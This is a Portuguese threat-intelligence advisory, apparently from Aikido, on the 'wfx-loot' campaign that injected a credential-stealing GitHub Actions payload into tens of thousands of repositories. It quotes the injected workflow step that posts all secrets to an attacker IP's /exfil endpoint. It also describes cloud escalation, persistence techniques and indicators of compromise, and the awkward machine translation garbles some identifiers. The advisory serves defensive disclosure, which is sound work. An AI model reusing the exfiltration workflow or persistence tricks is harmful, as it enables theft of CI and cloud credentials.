A partir de 10 de novembro, um agente malicioso utilizou credenciais roubadas do GitHub para introduzir uma carga maliciosa de workflow em dezenas de milhares de repositórios. A carga rouba credenciais do GitHub Actions secrets e credenciais na nuvem. A carga propagou-se para, pelo menos, um pacote do Packagist e um pacote Golang através de gatilhos de publicação automatizados, mas o agente malicioso parece estar a visar a integração contínua (CI) secrets , em vez de tentar propagar-se através da cadeia de abastecimento.
Com base nos dados que recolhemos até ao momento:
- 4 837 contas comprometidas abriram pedidos de pull em 61 764 repositórios.
- Pelo menos 1 835 repositórios executaram o código malicioso e sofreram a exfiltração de credenciais.
- Pelo menos 50 utilizadores cujas contas foram comprometidas parecem publicar pacotes para ecossistemas como o npm, Go, Packagist, PyPI ou crates.
Estamos a acompanhar esta campanha sob o nome «wfx-loot», com base no nome que o autor da ameaça atribuiu ao malware e no termo utilizado para o site secrets, que foi alvo de um roubo.
Quem é afectado
Poderá ser afetado se algum destes elementos tiver aparecido num repositório no qual possa escrever a partir de 10 de novembro:
- A
wfx-docsramo, ou um pedido de integração com o títulodocumentação: notas da auditoria de dependências - Commits com o título
ci: atualizar a cache de compilação,tarefa: adicionar o auxiliar cioutarefa: adicionar o fluxo de trabalho de auditoria de dependências - Ramos de curta duração denominados
tarefa/seguido de oito caracteres aleatórios
A pesquisa no GitHub apresenta 61 839 resultados documentação: notas da auditoria de dependências pedidos de integração abertos entre as 12h45 UTC de 10 de novembro e as 15h00 UTC de 11 de novembro. Esse pedido de integração é apenas um teste, sendo seguido por commits que contêm a verdadeira carga maliciosa. Se o teste for executado, esse utilizador fica comprometido, mesmo que a fase do fluxo de trabalho não tenha sido executada.
- 10 431 das solicitações de pull foram enviadas para repositórios que não pertencem à conta, aos quais se acedeu através do acesso de colaborador ou de organização.
- 92 % deles continuam abertos, o que sugere que a maioria dos proprietários ainda não se apercebeu disso.
Identificámos indícios de que a carga útil foi executada em, pelo menos, 1 806 repositórios, mas este número pode subestimar o impacto. O registo de execução foi eliminado nos repositórios afetados, o que significa que o autor da ameaça provavelmente recolheu as credenciais e apagou os seus rastos. Na maioria dos restantes casos, não foi enviado nada após a sondagem, ou o fluxo de trabalho infetado não foi executado devido a configurações ou às permissões do utilizador comprometido.
Se a carga útil tiver sido executada no seu repositório, considere que todos os segredos e funções na nuvem disponíveis para os seus fluxos de trabalho estão comprometidos.
Também observámos que esta campanha está a infiltrar-se em pacotes publicados através de mecanismos de publicação automatizados. Os pacotes maliciosos que identificámos até à data incluem:
- Packagist
digitalelvis/neuronai-studioversão 3.14.3. Considere qualquer computador que tenha instalado ou aberto qualquer uma destas versões como estando comprometido. - Módulo Go
github.com/onuragtas/docker-envv1.0.278 e v1.0.280: estas etiquetas contêm a carga útil apenas num ficheiro de fluxo de trabalho do GitHub Actions. O código-fonte em Go e os binários de lançamento permanecem inalterados, e as compilações em Go nunca executam ficheiros de fluxo de trabalho; por isso, é possível que os utilizadores do módulo não tenham sido afetados, mas recomendamos, mesmo assim, a remoção destes pacotes.
O que aconteceu
A partir das 12h45 UTC, aproximadamente, ou a 10 de novembro, o autor da ameaça começou a utilizar tokens do GitHub comprometidos para propagar o malware. Para cada repositório em que um token do GitHub roubado possa efetuar gravações, o autor da ameaça:
- Sondas - O agente malicioso abre um
documentação: notas da auditoria de dependênciaspull request de umwfx-docsramo, o que confirma o acesso de escrita. - Envia a carga útil - O autor da ameaça utiliza uma de três variantes:
- Injeção no fluxo de trabalho:
ci: atualizar a cache de compilaçãoacrescenta cerca de 1 500 linhas a um fluxo de trabalho já existente. - Instalar o gancho:
tarefa: adicionar o auxiliar ciadiciona uma.ci-xxxxxx.shroteiro e umpostinstallhook empackage.jsonque o execute em qualquernpm install - Ramo temporário: c
hore: adicionar fluxo de trabalho de auditoria de dependênciasacrescenta.github/workflows/build-audit-xxxxxx.ymlnumtarefa/xxxxxxxxfilial.
- Injeção no fluxo de trabalho:
- Limpeza — o autor da ameaça reverte a ação no prazo máximo de um minuto e elimina a execução do fluxo de trabalho, juntamente com os respetivos registos. A ausência de um número de execução no histórico do fluxo de trabalho é, muitas vezes, o único vestígio.
As etapas do fluxo de trabalho inseridas têm o seguinte aspeto:
- name: Pass runtime
uses: actions/github-script@v7
...
- name: Restore cache j632
env:
WF_CALLBACK: "http://194.150.166[.]244:8080/exfil"
WF_CTOKEN: "b42d70a7aab9140ca19e8249"
WF_SECRETS: "${{ toJSON(secrets) }}"
WF_VARS: "${{ toJSON(vars) }}"O que ele rouba
A carga útil consiste num único script shell com cerca de 1 500 linhas. O mesmo script é utilizado nas três variantes de distribuição. Funciona em quatro fases: recolha, escalada, persistência e exfiltração. Os parâmetros de configuração no início do script ativam ou desativam funcionalidades específicas. Esta secção descreve tudo o que o script é capaz de fazer, mas algumas das funcionalidades de exfiltração foram desativadas nesta campanha.
O script está repleto de comentários, não está ofuscado e identifica-se como «wfx» nos registos e nos nomes das variáveis.
Recolher. A carga útil recolhe credenciais de todas as fontes disponíveis no executor:
- secrets s e variáveis do GitHub Actions: o fluxo de trabalho
GITHUB_TOKEN, bem como os tokens de execução OIDC e Actions. - O ambiente de execução completo, juntamente com uma cópia filtrada das variáveis que correspondem a
ficha,segredo,pass,cred,aws,azul-celeste,gcp,openai,antrópico,riscadae dezenas de outras palavras-chave. - Ficheiros de credenciais de plataformas conhecidas, incluindo AWS, Azure, GCP, Docker, Kubernetes, npm, PyPI, Git, SSH, GPG, Vault e Terraform.
- Credenciais para fornecedores de IA e ferramentas de desenvolvimento de IA, incluindo OpenAI, Anthropic/Claude, Gemini, Hugging Face, Cursor, Copilot, Codex, Continue, Codeium, Aider, Weights & Biases e Ollama.
- Históricos do shell para o bash, zsh, mysql, psql, python e node.
- Todos os .
env,.pem, .p12,.jks,.kdbxekubeconfigarquivar em$HOME, pesquisado de forma recursiva. - O ambiente e a memória dos processos em execução no «runner», com priorização
Runner.WorkereRunner.Listener. Extraia JWTs, PATs do GitHub, chaves da AWS e tokens de fornecedores de IA. - Apenas em servidores auto-hospedados:
- Credenciais de metadados de instâncias da AWS, GCP e Azure
- Estado do Docker container
- os parâmetros do « RSA » do corredor
- unidades do systemd
- Um instantâneo do repositório, os ficheiros nele contidos que correspondem a um catálogo de padrões secretos, os últimos 100 commits e os artefactos recentes do fluxo de trabalho
Escalar. A carga útil utiliza as credenciais recolhidas para obter um acesso mais profundo à nuvem:
- Plataforma de troca OIDC — Emite tokens OIDC do GitHub para utilizadores da AWS, GCP e Azure e troca-os por sessões na nuvem.
- AWS -Estabelece uma ligação em cadeia com outras funções do IAM que encontra no repositório e, em seguida, chama
iam:CriarChaveDeAcessopara criar credenciais de longa duração para utilizadores do IAM. - GCP - Assina JWT com chaves de contas de serviço utilizando uma implementação em Python de RSA sem dependências e troca-os por tokens de acesso. Em seguida, apresenta uma lista de projetos e contas de serviço e chama
gerarTokenDeAcessoesignJwtpara se fazer passar por contas de serviço. - Azure — Troca tokens OIDC ou IDs de cliente ( secrets ) por tokens de gestão e apresenta uma lista de subscrições e Key Vaults. Além disso, utiliza tokens de atualização FOCI, comparando tokens de atualização da CLI do Azure armazenados em cache com IDs de cliente originais da Microsoft para obter tokens do Graph, do ARM e do Key Vault.
- Vault e Kubernetes — Efetua a reautenticação de tokens OIDC no HashiCorp Vault e nos servidores da API do Kubernetes indicados nos ficheiros kubeconfig.
Persistir. A carga útil executa três ações concebidas para resistir à rotação de credenciais:
- Derivação de proteção de ramificação - No início da execução, antes da maior parte da recolha, a carga útil publica dados falsificados
sucessoAs verificações de estado são efetuadas com base no SHA do commit, utilizando os nomes de contexto das verificações exigidas pelo repositório. A proteção do ramo baseia-se no nome de contexto, e não na aplicação que o publicou; por isso, as verificações falsificadas ultrapassam os bloqueios de fusão enquanto a carga ainda está a ser executada. - Reescrita da política de confiança da AWS - Define a política de confiança da função encadeada para
"Principal": {"AWS": "*"}, o que torna a função acessível a qualquer conta da AWS. - Injeção de identidade federada do Azure - Com um token do Microsoft Graph, adiciona novas credenciais de identidade federada, denominadas
wfx-ci-…, para as aplicações do Azure AD , que remetem para o repositório comprometido. Qualquer fluxo de trabalho nesse repositório pode, assim, autenticar-se no Azure sem um segredo armazenado, mesmo depois de todos os tokens terem sido substituídos.
Exfiltração. A carga útil compacta tudo num ficheiro tar com compressão gzip. O script suporta vários canais de distribuição, três dos quais utilizam a própria infraestrutura do GitHub para contornar as restrições de saída de rede:
- API de Cache de Ações - Armazena o ficheiro tarball como uma entrada de cache, que pode ser recuperada posteriormente através de uma chave correspondente.
- Resumo dos passos - No caso de arquivos com menos de 700 KB, o ficheiro tarball é codificado em base64 e incluído no resumo da etapa do fluxo de trabalho entre
<!--WFX-BEGIN-->marcadores. - Carregamento de artefactos - Carrega o ficheiro tarball como um artefacto do fluxo de trabalho com o nome
wfx-loot-<run id>.
Os outros canais são:
- uma chamada HTTP POST direta para o servidor de callback, repetida com um intervalo de espera crescente
- um URL de callback secundário
- uma cópia encriptada com AES submetida ao repositório
- saída codificada em base32 gravada no registo de execução do fluxo de trabalho
- exfiltração através de um bot do Telegram
Nesta campanha, a carga útil foi configurada para enviar dados apenas através de HTTP POST para 194.150.166[.]244:8080/exfil ou 18.143.168[.]96:8080/exfil:
- Os canais «cache», «resumo de etapas» e «artefactos» só funcionam quando o indicador «repositório privado» está definido; a configuração implementada desativa-o
- O mecanismo de recurso «encrypted-commit» e o canal «run-log» estão desativados
- Não está definida nenhuma função de retorno secundária
Se estiver a verificar um repositório afetado, a ausência de wfx-loot artefactos, wfx- entradas da cache ou WFX-INÍCIO O facto de não haver resumos das etapas não significa que os dados não tenham sido recolhidos. A própria execução é normalmente eliminada com base nos nossos dados. A ausência de um número de execução no commit do atacante é o indício mais fiável de que a carga útil foi executada. A existência de configurações específicas para repositórios privados sugere que a carga útil possa estar a ser implementada em repositórios privados, bem como nos repositórios públicos que conseguimos identificar.
Sobreposição com a atividade GhostAction de outubro
As contas afetadas nesta onda coincidem com a onda de GhostActions de outubro, correspondendo aos indicadores conhecidos de GhostActions:
- Fluxos de trabalho de digitalização de documentos confidenciais (
security-audit.yml,audit.yml,ci-check.ymle similares) que enviam as chaves encontradas no repositório e no seu histórico Git para193.32.204[.]199. - Um programa que rouba máquinas de programadores:
public/fonts/fa-solid-400.woff2, que é JavaScript, não um tipo de letra, além de uma tarefa oculta do VS Code que o executa quando a pasta é aberta. Demora~/.git-credentials, chaves SSH, npm, PyPI, credenciais da AWS e do Claude, e instala uma tarefa cron com a etiqueta#ghc2que as sondagens193.32.204[.]199:8080para comandos.
As contas afetadas pelo GhostAction em outubro apresentaram uma probabilidade significativamente maior do que a média de serem afetadas pelo wfx-loot. Em mais de 100 repositórios, o wfx-loot foi injetado nos ficheiros de fluxo de trabalho do GhostAction. Apesar da sobreposição de contas, consideramos que se trata de campanhas distintas, provavelmente levadas a cabo por diferentes autores de ameaças. A infraestrutura, as ferramentas e as técnicas utilizadas diferem, e as credenciais roubadas acabam frequentemente nas mãos de vários autores de ameaças. Também detetámos comentários em língua indonésia em algumas versões mais recentes do malware, que resultam de uma edição apressada para adicionar a exfiltração do Telegram. Nunca observámos artefactos em indonésio na atividade do GhostAction.
Como a Aikido detecta isso
Se for utilizador do Aikido , verifique o seu feed central e filtre por problemas de malware. Os pacotes comprometidos relacionados com esta campanha serão apresentados como um problema crítico com pontuação de 100/100. O Aikido realiza novas análises todas as noites, mas recomendamos que inicie uma nova análise manual agora.
Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.
Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.
Para uma cobertura mais ampla em toda a sua equipe, o Device Protection da Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.
Indicadores de comprometimento
Versões dos pacotes afetadas
- Packagist
digitalelvis/neuronai-studio3.14.3 - Go
github.com/onuragtas/docker-envv1.0.278 e v1.0.280. A carga útil encontra-se apenas num ficheiro de fluxo de trabalho.
Indicadores de rede
-
194.150.166[.]244:8080(/exfil) -
18.143.168[.]96:8080(/exfil)
Indicadores do GitHub
- Filiais:
wfx-docs,tarefa/[a-z0-9]{8},ci-check-[0-9]{4} - Título do pedido de integração:
documentação: notas da auditoria de dependências - Mensagens de commit:
-
ci: atualizar a cache de compilação ci: restaurartarefa: adicionar o auxiliar cici: limpezatarefa: adicionar o fluxo de trabalho de auditoria de dependências
-
Arquivos
- Script do Stealer:
89695abb392d5cfd4972672961e644bb46baa98aa1ed7173c2a2816c762735cf
